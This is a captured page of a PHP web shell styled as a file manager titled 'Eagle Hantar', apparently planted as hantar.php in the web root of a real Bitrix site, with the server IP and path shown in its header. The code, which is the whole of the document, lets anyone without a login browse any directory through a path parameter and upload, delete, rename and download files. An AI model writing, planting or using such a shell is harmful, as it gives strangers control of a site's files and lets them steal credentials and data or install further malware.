Your IP : 3.19.209.203


Current Path : /home/bitrix/ext_www/klimatlend.ua/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/hantar.php

<?php
// Set the current path
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$currentPath || !is_dir($currentPath)) {
    $currentPath = getcwd();
}

// Function to sanitize paths
function safePath($path) {
    return htmlspecialchars($path, ENT_QUOTES, 'UTF-8');
}

// Generate breadcrumb navigation
function generateBreadcrumbs($path) {
    $breadcrumbs = [];
    $pathParts = explode(DIRECTORY_SEPARATOR, $path);
    $current = '';
    foreach ($pathParts as $part) {
        $current .= $part . DIRECTORY_SEPARATOR;
        $breadcrumbs[] = "<a href=\"?path=" . urlencode($current) . "\">" . safePath($part) . "</a>";
    }
    return implode(" / ", $breadcrumbs);
}

// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $targetFile = $currentPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
        echo "<script>alert('File uploaded successfully!'); window.location.href='?path=" . urlencode($currentPath) . "';</script>";
    } else {
        echo "<script>alert('File upload failed!');</script>";
    }
}

// Handle file deletion
if (isset($_GET['delete'])) {
    $fileToDelete = realpath($_GET['delete']);
    if (strpos($fileToDelete, $currentPath) === 0 && unlink($fileToDelete)) {
        echo "<script>alert('File deleted successfully!'); window.location.href='?path=" . urlencode($currentPath) . "';</script>";
    } else {
        echo "<script>alert('File deletion failed!');</script>";
    }
}

// Handle file renaming
if (isset($_GET['rename']) && isset($_GET['new_name'])) {
    $fileToRename = realpath($_GET['rename']);
    $newName = $currentPath . DIRECTORY_SEPARATOR . $_GET['new_name'];
    if (strpos($fileToRename, $currentPath) === 0 && rename($fileToRename, $newName)) {
        echo "<script>alert('File renamed successfully!'); window.location.href='?path=" . urlencode($currentPath) . "';</script>";
    } else {
        echo "<script>alert('File renaming failed!');</script>";
    }
}

// Handle file download
if (isset($_GET['download'])) {
    $fileToDownload = realpath($_GET['download']);
    if (file_exists($fileToDownload) && strpos($fileToDownload, $currentPath) === 0) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($fileToDownload) . '"');
        readfile($fileToDownload);
        exit;
    } else {
        echo "<script>alert('File download failed!');</script>";
    }
}

// Scan directory for files and folders
$files = scandir($currentPath);

// HTML output starts here
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP File Manager</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: black; /* Black background */
            color: #fff;
            margin: 0;
            padding: 0;
            background-image: url('eagle-theme.jpg'); /* Eagle background image */
            background-size: cover;
            background-position: center;
        }
        h2 {
            text-align: center;
            margin-top: 20px;
            font-size: 48px; /* Increased font size */
            color: #FFD700; /* Golden color */
            text-shadow: 3px 3px 5px rgba(0, 0, 0, 0.7);
        }
        p {
            text-align: center;
        }
        table {
            width: 80%;
            margin: 20px auto;
            border-collapse: collapse;
            background-color: rgba(0, 0, 0, 0.5);
        }
        table th, table td {
            border: 1px solid #444;
            padding: 10px;
            text-align: left;
        }
        table th {
            background-color: #222;
        }
        table tr:nth-child(even) {
            background-color: #333;
        }
        table tr:nth-child(odd) {
            background-color: #222;
        }
        table tr:hover {
            background-color: #555;
        }
        a {
            color: #00f7ff;
            text-decoration: none;
        }
        a:hover {
            text-decoration: underline;
        }
        .upload-form {
            text-align: center;
            margin: 20px;
        }
        .upload-form input[type="file"] {
            margin: 10px 0;
        }
        .upload-form input[type="submit"] {
            background-color: #28a745;
            color: #fff;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        .upload-form input[type="submit"]:hover {
            background-color: #218838;
        }
        .actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
        }
        .actions a {
            padding: 5px 10px;
            background-color: #007bff;
            color: #fff;
            border-radius: 5px;
            text-decoration: none;
        }
        .actions a:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <h2>Eagle Hantar</h2>
    <p>Current Path: <?php echo generateBreadcrumbs($currentPath); ?></p>
    <p>
        <a href="?path=<?php echo urlencode(dirname($currentPath)); ?>">Go Back</a>
    </p>
    <table>
        <tr>
            <th>Name</th>
            <th>Type</th>
            <th>Actions</th>
        </tr>
        <?php foreach ($files as $file): ?>
            <?php if ($file === '.' || $file === '..') continue; ?>
            <?php $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file; ?>
            <tr>
                <td>
                    <?php
                    if (is_dir($fullPath)) {
                        echo "<a href=\"?path=" . urlencode($fullPath) . "\">" . safePath($file) . "</a>";
                    } else {
                        echo safePath($file);
                    }
                    ?>
                </td>
                <td><?php echo is_dir($fullPath) ? 'Directory' : 'File'; ?></td>
                <td class="actions">
                    <?php if (is_file($fullPath)): ?>
                        <a href="?download=<?php echo urlencode($fullPath); ?>">Download</a>
                        <a href="?delete=<?php echo urlencode($fullPath); ?>" onclick="return confirm('Are you sure you want to delete this file?')">Delete</a>
                        <a href="javascript:void(0)" onclick="renameFile('<?php echo safePath($file); ?>')">Rename</a>
                    <?php endif; ?>
                </td>
            </tr>
        <?php endforeach; ?>
    </table>

    <div class="upload-form">
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="file" required>
            <input type="submit" value="Upload">
        </form>
    </div>

    <script>
        function renameFile(fileName) {
            const newName = prompt('Enter new name for file: ', fileName);
            if (newName && newName !== fileName) {
                window.location.href = '?path=<?php echo urlencode($currentPath); ?>&rename=<?php echo urlencode($file); ?>&new_name=' + encodeURIComponent(newName);
            }
        }
    </script>
</body>
</html>